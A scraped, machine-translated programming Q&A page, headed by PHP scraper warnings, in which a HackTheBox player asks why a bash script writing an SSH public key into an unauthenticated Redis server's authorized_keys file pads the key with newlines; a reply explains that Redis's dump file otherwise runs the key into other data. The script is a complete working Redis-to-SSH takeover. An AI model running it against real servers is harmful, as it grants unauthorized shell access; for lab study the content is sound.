Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/ssh/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Bash Redis公钥_Bash_Ssh_Redis - Fatal编程技术网

Bash Redis公钥

Bash Redis公钥,bash,ssh,redis,Bash,Ssh,Redis,我正在研究HackTheBox,遇到了一个谷歌尚未回答的问题。当前脚本如下所示: #!/bin/bash rm /root/.ssh/id* ssh-keygen -t rsa (echo -e "\n\n";cat "/root/.ssh/id_rsa.pub";echo -e "\n\n") > "/root/Desktop/postmanKey.txt" redis-cli -h 10.10.10.160 flushall cat "/root/Desktop/postma

我正在研究HackTheBox,遇到了一个谷歌尚未回答的问题。当前脚本如下所示:

#!/bin/bash

rm /root/.ssh/id*

ssh-keygen -t rsa

(echo -e "\n\n";cat "/root/.ssh/id_rsa.pub";echo -e "\n\n") > "/root/Desktop/postmanKey.txt"

redis-cli -h 10.10.10.160 flushall

cat "/root/Desktop/postmanKey.txt" | redis-cli -h 10.10.10.160 -x set bb

redis-cli -h 10.10.10.160 save

redis-cli -h 10.10.10.160 set dbfilename "authorized_keys"

redis-cli -h 10.10.10.160 save

ssh -i "/root/.ssh/id_rsa" redis@10.10.10.160
除了一件事,我完全理解。为什么要(echo-e“\n\n”cat“/root/.ssh/id\u rsa.pub”echo-e“\n\n”)>“/root/Desktop/postmanKey.txt”生成一个带有两个尾随和两个尾随换行符的公钥?我已经做了一些修补和相当多的谷歌搜索,但我还没有找到这是必要的原因。如果我在没有换行符的情况下将文件推送到服务器,然后尝试通过ssh进行连接,那么我将无法连接。我唯一的想法是,这可能与私钥的通用格式有关:

-----开始RSA私钥-----

-----结束RSA私钥-----


但是,我们使用私钥连接,但将公钥推送到服务器。。。所以我迷路了。谢谢你提供的任何信息

您是否尝试过查看redis写入的文件有无差异?谢谢。我仍然不确定为什么会这样,但是,我会把它当作“原样”的东西。文件redis写入(不使用新行时)将包括键在内的所有内容串在一起,因此(对于redis)无法识别键的开始和结束时间。该脚本将只使用一行新行执行并提供访问权限。所以我假设使用2只是为了额外的“假设”填充。